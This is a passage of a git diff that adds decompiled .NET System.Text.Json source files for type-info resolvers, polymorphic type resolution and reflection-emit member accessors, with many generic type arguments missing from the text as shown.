a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoResolverWithAddedModifiers.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoResolverWithAddedModifiers.cs new file mode 100644 index 0000000..f032144 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonTypeInfoResolverWithAddedModifiers.cs @@ -0,0 +1,36 @@ +namespace System.Text.Json.Serialization.Metadata; + +internal sealed class JsonTypeInfoResolverWithAddedModifiers : IJsonTypeInfoResolver +{ + private readonly IJsonTypeInfoResolver _source; + + private readonly Action[] _modifiers; + + public JsonTypeInfoResolverWithAddedModifiers(IJsonTypeInfoResolver source, Action[] modifiers) + { + _source = source; + _modifiers = modifiers; + } + + public JsonTypeInfoResolverWithAddedModifiers WithAddedModifier(Action modifier) + { + Action[] array = new Action[_modifiers.Length + 1]; + _modifiers.CopyTo(array, 0); + array[_modifiers.Length] = modifier; + return new JsonTypeInfoResolverWithAddedModifiers(_source, array); + } + + public JsonTypeInfo GetTypeInfo(Type type, JsonSerializerOptions options) + { + JsonTypeInfo typeInfo = _source.GetTypeInfo(type, options); + if (typeInfo != null) + { + Action[] modifiers = _modifiers; + foreach (Action action in modifiers) + { + action(typeInfo); + } + } + return typeInfo; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/MemberAccessor.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/MemberAccessor.cs new file mode 100644 index 0000000..106a9bc --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/MemberAccessor.cs @@ -0,0 +1,32 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; + +namespace System.Text.Json.Serialization.Metadata; + +internal abstract class MemberAccessor +{ + public abstract Func CreateParameterlessConstructor([DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicConstructors)] Type type, ConstructorInfo constructorInfo); + + public abstract Func CreateParameterizedConstructor(ConstructorInfo constructor); + + public abstract JsonTypeInfo.ParameterizedConstructorDelegate CreateParameterizedConstructor(ConstructorInfo constructor); + + public abstract Action CreateAddMethodDelegate<[DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicMethods)] TCollection>(); + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public abstract Func, TCollection> CreateImmutableEnumerableCreateRangeDelegate(); + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public abstract Func>, TCollection> CreateImmutableDictionaryCreateRangeDelegate(); + + public abstract Func CreatePropertyGetter(PropertyInfo propertyInfo); + + public abstract Action CreatePropertySetter(PropertyInfo propertyInfo); + + public abstract Func CreateFieldGetter(FieldInfo fieldInfo); + + public abstract Action CreateFieldSetter(FieldInfo fieldInfo); +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ParameterRef.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ParameterRef.cs new file mode 100644 index 0000000..03ef6b2 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ParameterRef.cs @@ -0,0 +1,10 @@ +namespace System.Text.Json.Serialization.Metadata; + +internal readonly struct ParameterRef(ulong key, JsonParameterInfo info, byte[] nameFromJson) +{ + public readonly ulong Key = key; + + public readonly JsonParameterInfo Info = info; + + public readonly byte[] NameFromJson = nameFromJson; +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/PolymorphicTypeResolver.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/PolymorphicTypeResolver.cs new file mode 100644 index 0000000..c7f9d3d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/PolymorphicTypeResolver.cs @@ -0,0 +1,259 @@ +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace System.Text.Json.Serialization.Metadata; + +internal sealed class PolymorphicTypeResolver +{ + private sealed class DerivedJsonTypeInfo + { + private volatile JsonTypeInfo _jsonTypeInfo; + + public Type DerivedType { get; } + + public object TypeDiscriminator { get; } + + public DerivedJsonTypeInfo(Type type, object typeDiscriminator) + { + DerivedType = type; + TypeDiscriminator = typeDiscriminator; + } + + public JsonTypeInfo GetJsonTypeInfo(JsonSerializerOptions options) + { + return _jsonTypeInfo ?? (_jsonTypeInfo = options.GetTypeInfoInternal(DerivedType, ensureConfigured: true, true)); + } + } + + private readonly ConcurrentDictionary _typeToDiscriminatorId = new ConcurrentDictionary(); + + private readonly Dictionary _discriminatorIdtoType; + + private readonly JsonSerializerOptions _options; + + public Type BaseType { get; } + + public JsonUnknownDerivedTypeHandling UnknownDerivedTypeHandling { get; } + + public bool UsesTypeDiscriminators { get; } + + public bool IgnoreUnrecognizedTypeDiscriminators { get; } + + public string TypeDiscriminatorPropertyName { get; } + + public byte[] TypeDiscriminatorPropertyNameUtf8 { get; } + + public JsonEncodedText? CustomTypeDiscriminatorPropertyNameJsonEncoded { get; } + + public PolymorphicTypeResolver(JsonSerializerOptions options, JsonPolymorphismOptions polymorphismOptions, Type baseType, bool converterCanHaveMetadata) + { + UnknownDerivedTypeHandling = polymorphismOptions.UnknownDerivedTypeHandling; + IgnoreUnrecognizedTypeDiscriminators = polymorphismOptions.IgnoreUnrecognizedTypeDiscriminators; + BaseType = baseType; + _options = options; + if (!IsSupportedPolymorphicBaseType(BaseType)) + { + ThrowHelper.ThrowInvalidOperationException_TypeDoesNotSupportPolymorphism(BaseType); + } + bool flag = false; + foreach (var (type2, obj2) in polymorphismOptions.DerivedTypes) + { + if (!IsSupportedDerivedType(BaseType, type2) || (type2.IsAbstract && UnknownDerivedTypeHandling != JsonUnknownDerivedTypeHandling.FallBackToNearestAncestor)) + { + ThrowHelper.ThrowInvalidOperationException_DerivedTypeNotSupported(BaseType, type2); + } + DerivedJsonTypeInfo value = new DerivedJsonTypeInfo(type2, obj2); + if (!_typeToDiscriminatorId.TryAdd(type2, value)) + { + ThrowHelper.ThrowInvalidOperationException_DerivedTypeIsAlreadySpecified(BaseType, type2); + } + if (obj2 != null) + { + if (!JsonHelpers.TryAdd(_discriminatorIdtoType ?? (_discriminatorIdtoType = new Dictionary()), obj2, value)) + { + ThrowHelper.ThrowInvalidOperationException_TypeDicriminatorIdIsAlreadySpecified(BaseType, obj2); + } + UsesTypeDiscriminators = true; + } + flag = true; + } + if (!flag) + { + ThrowHelper.ThrowInvalidOperationException_PolymorphicTypeConfigurationDoesNotSpecifyDerivedTypes(BaseType); + } + if (UsesTypeDiscriminators) + { + if (!converterCanHaveMetadata) + { + ThrowHelper.ThrowNotSupportedException_BaseConverterDoesNotSupportMetadata(BaseType); + } + string typeDiscriminatorPropertyName = polymorphismOptions.TypeDiscriminatorPropertyName; + JsonEncodedText value2 = ((typeDiscriminatorPropertyName == "$type") ? JsonSerializer.s_metadataType : JsonEncodedText.Encode(typeDiscriminatorPropertyName, options.Encoder)); + if ((JsonSerializer.GetMetadataPropertyName(value2.EncodedUtf8Bytes, null) & ~MetadataPropertyName.Type) != MetadataPropertyName.None) + { + ThrowHelper.ThrowInvalidOperationException_InvalidCustomTypeDiscriminatorPropertyName(); + } + TypeDiscriminatorPropertyName = typeDiscriminatorPropertyName; + TypeDiscriminatorPropertyNameUtf8 = value2.EncodedUtf8Bytes.ToArray(); + CustomTypeDiscriminatorPropertyNameJsonEncoded = value2; + } + } + + public bool TryGetDerivedJsonTypeInfo(Type runtimeType, [NotNullWhen(true)] out JsonTypeInfo jsonTypeInfo, out object typeDiscriminator) + { + if (!_typeToDiscriminatorId.TryGetValue(runtimeType, out var value)) + { + switch (UnknownDerivedTypeHandling) + { + case JsonUnknownDerivedTypeHandling.FallBackToNearestAncestor: + value = CalculateNearestAncestor(runtimeType); + _typeToDiscriminatorId[runtimeType] = value; + break; + case JsonUnknownDerivedTypeHandling.FallBackToBaseType: + _typeToDiscriminatorId.TryGetValue(BaseType, out value); + _typeToDiscriminatorId[runtimeType] = value; + break; + default: + if (runtimeType != BaseType) + { + ThrowHelper.ThrowNotSupportedException_RuntimeTypeNotSupported(BaseType, runtimeType); + } + break; + } + } + if (value == null) + { + jsonTypeInfo = null; + typeDiscriminator = null; + return false; + } + jsonTypeInfo = value.GetJsonTypeInfo(_options); + typeDiscriminator = value.TypeDiscriminator; + return true; + } + + public bool TryGetDerivedJsonTypeInfo(object typeDiscriminator, [NotNullWhen(true)] out JsonTypeInfo jsonTypeInfo) + { + if (_discriminatorIdtoType.TryGetValue(typeDiscriminator, out var value)) + { + jsonTypeInfo = value.GetJsonTypeInfo(_options); + return true; + } + if (!IgnoreUnrecognizedTypeDiscriminators) + { + ThrowHelper.ThrowJsonException_UnrecognizedTypeDiscriminator(typeDiscriminator); + } + jsonTypeInfo = null; + return false; + } + + public static bool IsSupportedPolymorphicBaseType(Type type) + { + if (type != null && (type.IsClass || type.IsInterface) && !type.IsSealed && !type.IsGenericTypeDefinition && !type.IsPointer) + { + return type != JsonTypeInfo.ObjectType; + } + return false; + } + + public static bool IsSupportedDerivedType(Type baseType, Type derivedType) + { + if (baseType.IsAssignableFrom(derivedType)) + { + return !derivedType.IsGenericTypeDefinition; + } + return false; + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2070:UnrecognizedReflectionPattern", Justification = "The call to GetInterfaces will cross-reference results with interface types already declared as derived types of the polymorphic base type.")] + private DerivedJsonTypeInfo CalculateNearestAncestor(Type type) + { + if (type == BaseType) + { + return null; + } + DerivedJsonTypeInfo value = null; + Type baseType = type.BaseType; + while (BaseType.IsAssignableFrom(baseType) && !_typeToDiscriminatorId.TryGetValue(baseType, out value)) + { + baseType = baseType.BaseType; + } + if (BaseType.IsInterface) + { + Type[] interfaces = type.GetInterfaces(); + foreach (Type type2 in interfaces) + { + if (type2 != BaseType && BaseType.IsAssignableFrom(type2) && _typeToDiscriminatorId.TryGetValue(type2, out var value2) && value2 != null) + { + if (value == null) + { + value = value2; + } + else + { + ThrowHelper.ThrowNotSupportedException_RuntimeTypeDiamondAmbiguity(BaseType, type, value.DerivedType, value2.DerivedType); + } + } + } + } + return value; + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2075:UnrecognizedReflectionPattern", Justification = "The call to GetInterfaces will cross-reference results with interface types already declared as derived types of the polymorphic base type.")] + internal static JsonTypeInfo FindNearestPolymorphicBaseType(JsonTypeInfo typeInfo) + { + if (typeInfo.PolymorphismOptions != null) + { + return null; + } + JsonTypeInfo jsonTypeInfo = null; + Type baseType = typeInfo.Type.BaseType; + while (baseType != null) + { + JsonTypeInfo jsonTypeInfo2 = ResolveAncestorTypeInfo(baseType, typeInfo.Options); + if (jsonTypeInfo2?.PolymorphismOptions != null) + { + jsonTypeInfo = jsonTypeInfo2; + break; + } + baseType = baseType.BaseType; + } + Type[] interfaces = typeInfo.Type.GetInterfaces(); + foreach (Type type in interfaces) + { + JsonTypeInfo jsonTypeInfo3 = ResolveAncestorTypeInfo(type, typeInfo.Options); + if (jsonTypeInfo3?.PolymorphismOptions == null) + { + continue; + } + if (jsonTypeInfo != null) + { + if (jsonTypeInfo.Type.IsAssignableFrom(type)) + { + jsonTypeInfo = jsonTypeInfo3; + } + else if (!type.IsAssignableFrom(jsonTypeInfo.Type)) + { + return null; + } + } + else + { + jsonTypeInfo = jsonTypeInfo3; + } + } + return jsonTypeInfo; + static JsonTypeInfo ResolveAncestorTypeInfo(Type type2, JsonSerializerOptions options) + { + try + { + return options.GetTypeInfoInternal(type2, ensureConfigured: true, null); + } + catch + { + return null; + } + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/PropertyRef.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/PropertyRef.cs new file mode 100644 index 0000000..b4917c7 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/PropertyRef.cs @@ -0,0 +1,10 @@ +namespace System.Text.Json.Serialization.Metadata; + +internal readonly struct PropertyRef(ulong key, JsonPropertyInfo info, byte[] nameFromJson) +{ + public readonly ulong Key = key; + + public readonly JsonPropertyInfo Info = info; + + public readonly byte[] NameFromJson = nameFromJson; +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ReflectionEmitCachingMemberAccessor.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ReflectionEmitCachingMemberAccessor.cs new file mode 100644 index 0000000..2ccd98f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ReflectionEmitCachingMemberAccessor.cs @@ -0,0 +1,138 @@ +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Threading; + +namespace System.Text.Json.Serialization.Metadata; + +[RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] +internal sealed class ReflectionEmitCachingMemberAccessor : MemberAccessor +{ + private sealed class Cache + { + private sealed class CacheEntry + { + public readonly object Value; + + public long LastUsedTicks; + + public CacheEntry(object value) + { + Value = value; + } + } + + private int _evictLock; + + private long _lastEvictedTicks; + + private readonly long _evictionIntervalTicks; + + private readonly long _slidingExpirationTicks; + + private readonly ConcurrentDictionary _cache = new ConcurrentDictionary(); + + public Cache(TimeSpan slidingExpiration, TimeSpan evictionInterval) + { + _slidingExpirationTicks = slidingExpiration.Ticks; + _evictionIntervalTicks = evictionInterval.Ticks; + _lastEvictedTicks = DateTime.UtcNow.Ticks; + } + + public TValue GetOrAdd(TKey key, Func valueFactory) where TValue : class + { + CacheEntry orAdd = _cache.GetOrAdd(key, (TKey arg) => new CacheEntry(valueFactory(arg))); + long ticks = DateTime.UtcNow.Ticks; + Volatile.Write(ref orAdd.LastUsedTicks, ticks); + if (ticks - Volatile.Read(in _lastEvictedTicks) >= _evictionIntervalTicks && Interlocked.CompareExchange(ref _evictLock, 1, 0) == 0) + { + if (ticks - _lastEvictedTicks >= _evictionIntervalTicks) + { + EvictStaleCacheEntries(ticks); + Volatile.Write(ref _lastEvictedTicks, ticks); + } + Volatile.Write(ref _evictLock, 0); + } + return (TValue)orAdd.Value; + } + + public void Clear() + { + _cache.Clear(); + _lastEvictedTicks = DateTime.UtcNow.Ticks; + } + + private void EvictStaleCacheEntries(long utcNowTicks) + { + foreach (KeyValuePair item in _cache) + { + if (utcNowTicks - Volatile.Read(in item.Value.LastUsedTicks) >= _slidingExpirationTicks) + { + _cache.TryRemove(item.Key, out var _); + } + } + } + } + + private static readonly ReflectionEmitMemberAccessor s_sourceAccessor = new ReflectionEmitMemberAccessor(); + + private static readonly Cache<(string id, Type declaringType, MemberInfo member)> s_cache = new Cache<(string, Type, MemberInfo)>(TimeSpan.FromMilliseconds(1000.0), TimeSpan.FromMilliseconds(200.0)); + + public static void Clear() + { + s_cache.Clear(); + } + + public override Action CreateAddMethodDelegate<[DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicMethods)] TCollection>() + { + return s_cache.GetOrAdd(("CreateAddMethodDelegate", typeof(TCollection), null), ((string id, Type declaringType, MemberInfo member) _) => s_sourceAccessor.CreateAddMethodDelegate()); + } + + public override Func CreateParameterlessConstructor([DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicConstructors)] Type type, ConstructorInfo ctorInfo) + { + return s_cache.GetOrAdd(("CreateParameterlessConstructor", type, ctorInfo), [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2077:UnrecognizedReflectionPattern", Justification = "Cannot apply DynamicallyAccessedMembersAttribute to tuple properties.")] ((string id, Type declaringType, MemberInfo member) key) => s_sourceAccessor.CreateParameterlessConstructor(key.declaringType, (ConstructorInfo)key.member)); + } + + public override Func CreateFieldGetter(FieldInfo fieldInfo) + { + return s_cache.GetOrAdd(("CreateFieldGetter", typeof(TProperty), fieldInfo), ((string id, Type declaringType, MemberInfo member) key) => s_sourceAccessor.CreateFieldGetter((FieldInfo)key.member)); + } + + public override Action CreateFieldSetter(FieldInfo fieldInfo) + { + return s_cache.GetOrAdd(("CreateFieldSetter", typeof(TProperty), fieldInfo), ((string id, Type declaringType, MemberInfo member) key) => s_sourceAccessor.CreateFieldSetter((FieldInfo)key.member)); + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public override Func>, TCollection> CreateImmutableDictionaryCreateRangeDelegate() + { + return s_cache.GetOrAdd(("CreateImmutableDictionaryCreateRangeDelegate", typeof((TCollection, TKey, TValue)), null), ((string id, Type declaringType, MemberInfo member) _) => s_sourceAccessor.CreateImmutableDictionaryCreateRangeDelegate()); + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public override Func, TCollection> CreateImmutableEnumerableCreateRangeDelegate() + { + return s_cache.GetOrAdd(("CreateImmutableEnumerableCreateRangeDelegate", typeof((TCollection, TElement)), null), ((string id, Type declaringType, MemberInfo member) _) => s_sourceAccessor.CreateImmutableEnumerableCreateRangeDelegate()); + } + + public override Func CreateParameterizedConstructor(ConstructorInfo constructor) + { + return s_cache.GetOrAdd(("CreateParameterizedConstructor", typeof(T), constructor), ((string id, Type declaringType, MemberInfo member) key) => s_sourceAccessor.CreateParameterizedConstructor((ConstructorInfo)key.member)); + } + + public override JsonTypeInfo.ParameterizedConstructorDelegate CreateParameterizedConstructor(ConstructorInfo constructor) + { + return s_cache.GetOrAdd(("CreateParameterizedConstructor", typeof(T), constructor), ((string id, Type declaringType, MemberInfo member) key) => s_sourceAccessor.CreateParameterizedConstructor((ConstructorInfo)key.member)); + } + + public override Func CreatePropertyGetter(PropertyInfo propertyInfo) + { + return s_cache.GetOrAdd(("CreatePropertyGetter", typeof(TProperty), propertyInfo), ((string id, Type declaringType, MemberInfo member) key) => s_sourceAccessor.CreatePropertyGetter((PropertyInfo)key.member)); + } + + public override Action CreatePropertySetter(PropertyInfo propertyInfo) + { + return s_cache.GetOrAdd(("CreatePropertySetter", typeof(TProperty), propertyInfo), ((string id, Type declaringType, MemberInfo member) key) => s_sourceAccessor.CreatePropertySetter((PropertyInfo)key.member)); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ReflectionEmitMemberAccessor.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ReflectionEmitMemberAccessor.cs new file mode 100644 index 0000000..af27af3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ReflectionEmitMemberAccessor.cs @@ -0,0 +1,275 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Reflection.Emit; + +namespace System.Text.Json.Serialization.Metadata; + +[RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] +internal sealed class ReflectionEmitMemberAccessor : MemberAccessor +{ + public override Func CreateParameterlessConstructor([DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicConstructors)] Type type, ConstructorInfo constructorInfo) + { + if (type.IsAbstract) + { + return null; + } + if ((object)constructorInfo == null && !type.IsValueType) + { + return null; + } + DynamicMethod dynamicMethod = new DynamicMethod(ConstructorInfo.ConstructorName, JsonTypeInfo.ObjectType, Type.EmptyTypes, typeof(ReflectionEmitMemberAccessor).Module, skipVisibility: true); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + if ((object)constructorInfo == null) + { + LocalBuilder local = iLGenerator.DeclareLocal(type); + iLGenerator.Emit(OpCodes.Ldloca_S, local); + iLGenerator.Emit(OpCodes.Initobj, type); + iLGenerator.Emit(OpCodes.Ldloc, local); + iLGenerator.Emit(OpCodes.Box, type); + } + else + { + iLGenerator.Emit(OpCodes.Newobj, constructorInfo); + if (type.IsValueType) + { + iLGenerator.Emit(OpCodes.Box, type); + } + } + iLGenerator.Emit(OpCodes.Ret); + return CreateDelegate>(dynamicMethod); + } + + public override Func CreateParameterizedConstructor(ConstructorInfo constructor) + { + return CreateDelegate>(CreateParameterizedConstructor(constructor)); + } + + private static DynamicMethod CreateParameterizedConstructor(ConstructorInfo constructor) + { + Type declaringType = constructor.DeclaringType; + ParameterInfo[] parameters = constructor.GetParameters(); + int num = parameters.Length; + DynamicMethod dynamicMethod = new DynamicMethod(ConstructorInfo.ConstructorName, declaringType, new Type[1] { typeof(object[]) }, typeof(ReflectionEmitMemberAccessor).Module, skipVisibility: true); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + for (int i = 0; i < num; i++) + { + Type parameterType = parameters[i].ParameterType; + iLGenerator.Emit(OpCodes.Ldarg_0); + iLGenerator.Emit(OpCodes.Ldc_I4, i); + iLGenerator.Emit(OpCodes.Ldelem_Ref); + iLGenerator.Emit(OpCodes.Unbox_Any, parameterType); + } + iLGenerator.Emit(OpCodes.Newobj, constructor); + iLGenerator.Emit(OpCodes.Ret); + return dynamicMethod; + } + + public override JsonTypeInfo.ParameterizedConstructorDelegate CreateParameterizedConstructor(ConstructorInfo constructor) + { + return CreateDelegate>(CreateParameterizedConstructor(constructor, typeof(TArg0), typeof(TArg1), typeof(TArg2), typeof(TArg3))); + } + + private static DynamicMethod CreateParameterizedConstructor(ConstructorInfo constructor, Type parameterType1, Type parameterType2, Type parameterType3, Type parameterType4) + { + Type declaringType = constructor.DeclaringType; + ParameterInfo[] parameters = constructor.GetParameters(); + int num = parameters.Length; + DynamicMethod dynamicMethod = new DynamicMethod(ConstructorInfo.ConstructorName, declaringType, new Type[4] { parameterType1, parameterType2, parameterType3, parameterType4 }, typeof(ReflectionEmitMemberAccessor).Module, skipVisibility: true); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + for (int i = 0; i < num; i++) + { + ILGenerator iLGenerator2 = iLGenerator; + iLGenerator2.Emit(i switch + { + 0 => OpCodes.Ldarg_0, + 1 => OpCodes.Ldarg_1, + 2 => OpCodes.Ldarg_2, + 3 => OpCodes.Ldarg_3, + _ => throw new InvalidOperationException(), + }); + } + iLGenerator.Emit(OpCodes.Newobj, constructor); + iLGenerator.Emit(OpCodes.Ret); + return dynamicMethod; + } + + public override Action CreateAddMethodDelegate<[DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicMethods)] TCollection>() + { + return CreateDelegate>(CreateAddMethodDelegate(typeof(TCollection))); + } + + private static DynamicMethod CreateAddMethodDelegate([DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicMethods)] Type collectionType) + { + MethodInfo methodInfo = collectionType.GetMethod("Push") ?? collectionType.GetMethod("Enqueue"); + DynamicMethod dynamicMethod = new DynamicMethod(methodInfo.Name, typeof(void), new Type[2] + { + collectionType, + JsonTypeInfo.ObjectType + }, typeof(ReflectionEmitMemberAccessor).Module, skipVisibility: true); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + iLGenerator.Emit(OpCodes.Ldarg_0); + iLGenerator.Emit(OpCodes.Ldarg_1); + iLGenerator.Emit(OpCodes.Callvirt, methodInfo); + iLGenerator.Emit(OpCodes.Ret); + return dynamicMethod; + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public override Func, TCollection> CreateImmutableEnumerableCreateRangeDelegate() + { + return CreateDelegate, TCollection>>(CreateImmutableEnumerableCreateRangeDelegate(typeof(TCollection), typeof(TElement), typeof(IEnumerable))); + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + private static DynamicMethod CreateImmutableEnumerableCreateRangeDelegate(Type collectionType, Type elementType, Type enumerableType) + { + MethodInfo immutableEnumerableCreateRangeMethod = collectionType.GetImmutableEnumerableCreateRangeMethod(elementType); + DynamicMethod dynamicMethod = new DynamicMethod(immutableEnumerableCreateRangeMethod.Name, collectionType, new Type[1] { enumerableType }, typeof(ReflectionEmitMemberAccessor).Module, skipVisibility: true); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + iLGenerator.Emit(OpCodes.Ldarg_0); + iLGenerator.Emit(OpCodes.Call, immutableEnumerableCreateRangeMethod); + iLGenerator.Emit(OpCodes.Ret); + return dynamicMethod; + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public override Func>, TCollection> CreateImmutableDictionaryCreateRangeDelegate() + { + return CreateDelegate>, TCollection>>(CreateImmutableDictionaryCreateRangeDelegate(typeof(TCollection), typeof(TKey), typeof(TValue), typeof(IEnumerable>))); + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + private static DynamicMethod CreateImmutableDictionaryCreateRangeDelegate(Type collectionType, Type keyType, Type valueType, Type enumerableType) + { + MethodInfo immutableDictionaryCreateRangeMethod = collectionType.GetImmutableDictionaryCreateRangeMethod(keyType, valueType); + DynamicMethod dynamicMethod = new DynamicMethod(immutableDictionaryCreateRangeMethod.Name, collectionType, new Type[1] { enumerableType }, typeof(ReflectionEmitMemberAccessor).Module, skipVisibility: true); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + iLGenerator.Emit(OpCodes.Ldarg_0); + iLGenerator.Emit(OpCodes.Call, immutableDictionaryCreateRangeMethod); + iLGenerator.Emit(OpCodes.Ret); + return dynamicMethod; + } + + public override Func CreatePropertyGetter(PropertyInfo propertyInfo) + { + return CreateDelegate>(CreatePropertyGetter(propertyInfo, typeof(TProperty))); + } + + private static DynamicMethod CreatePropertyGetter(PropertyInfo propertyInfo, Type runtimePropertyType) + { + MethodInfo getMethod = propertyInfo.GetMethod; + Type declaringType = propertyInfo.DeclaringType; + Type propertyType = propertyInfo.PropertyType; + DynamicMethod dynamicMethod = CreateGetterMethod(propertyInfo.Name, runtimePropertyType); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + iLGenerator.Emit(OpCodes.Ldarg_0); + if (declaringType.IsValueType) + { + iLGenerator.Emit(OpCodes.Unbox, declaringType); + iLGenerator.Emit(OpCodes.Call, getMethod); + } + else + { + iLGenerator.Emit(OpCodes.Castclass, declaringType); + iLGenerator.Emit(OpCodes.Callvirt, getMethod); + } + if (propertyType != runtimePropertyType && propertyType.IsValueType) + { + iLGenerator.Emit(OpCodes.Box, propertyType); + } + iLGenerator.Emit(OpCodes.Ret); + return dynamicMethod; + } + + public override Action CreatePropertySetter(PropertyInfo propertyInfo) + { + return CreateDelegate>(CreatePropertySetter(propertyInfo, typeof(TProperty))); + } + + private static DynamicMethod CreatePropertySetter(PropertyInfo propertyInfo, Type runtimePropertyType) + { + MethodInfo setMethod = propertyInfo.SetMethod; + Type declaringType = propertyInfo.DeclaringType; + Type propertyType = propertyInfo.PropertyType; + DynamicMethod dynamicMethod = CreateSetterMethod(propertyInfo.Name, runtimePropertyType); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + iLGenerator.Emit(OpCodes.Ldarg_0); + iLGenerator.Emit(declaringType.IsValueType ? OpCodes.Unbox : OpCodes.Castclass, declaringType); + iLGenerator.Emit(OpCodes.Ldarg_1); + if (propertyType != runtimePropertyType && propertyType.IsValueType) + { + iLGenerator.Emit(OpCodes.Unbox_Any, propertyType); + } + iLGenerator.Emit(declaringType.IsValueType ? OpCodes.Call : OpCodes.Callvirt, setMethod); + iLGenerator.Emit(OpCodes.Ret); + return dynamicMethod; + } + + public override Func CreateFieldGetter(FieldInfo fieldInfo) + { + return CreateDelegate>(CreateFieldGetter(fieldInfo, typeof(TProperty))); + } + + private static DynamicMethod CreateFieldGetter(FieldInfo fieldInfo, Type runtimeFieldType) + { + Type declaringType = fieldInfo.DeclaringType; + Type fieldType = fieldInfo.FieldType; + DynamicMethod dynamicMethod = CreateGetterMethod(fieldInfo.Name, runtimeFieldType); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + iLGenerator.Emit(OpCodes.Ldarg_0); + iLGenerator.Emit(declaringType.IsValueType ? OpCodes.Unbox : OpCodes.Castclass, declaringType); + iLGenerator.Emit(OpCodes.Ldfld, fieldInfo); + if (fieldType.IsValueType && fieldType != runtimeFieldType) + { + iLGenerator.Emit(OpCodes.Box, fieldType); + } + iLGenerator.Emit(OpCodes.Ret); + return dynamicMethod; + } + + public override Action CreateFieldSetter(FieldInfo fieldInfo) + { + return CreateDelegate>(CreateFieldSetter(fieldInfo, typeof(TProperty))); + } + + private static DynamicMethod CreateFieldSetter(FieldInfo fieldInfo, Type runtimeFieldType) + { + Type declaringType = fieldInfo.DeclaringType; + Type fieldType = fieldInfo.FieldType; + DynamicMethod dynamicMethod = CreateSetterMethod(fieldInfo.Name, runtimeFieldType); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + iLGenerator.Emit(OpCodes.Ldarg_0); + iLGenerator.Emit(declaringType.IsValueType ? OpCodes.Unbox : OpCodes.Castclass, declaringType); + iLGenerator.Emit(OpCodes.Ldarg_1); + if (fieldType != runtimeFieldType && 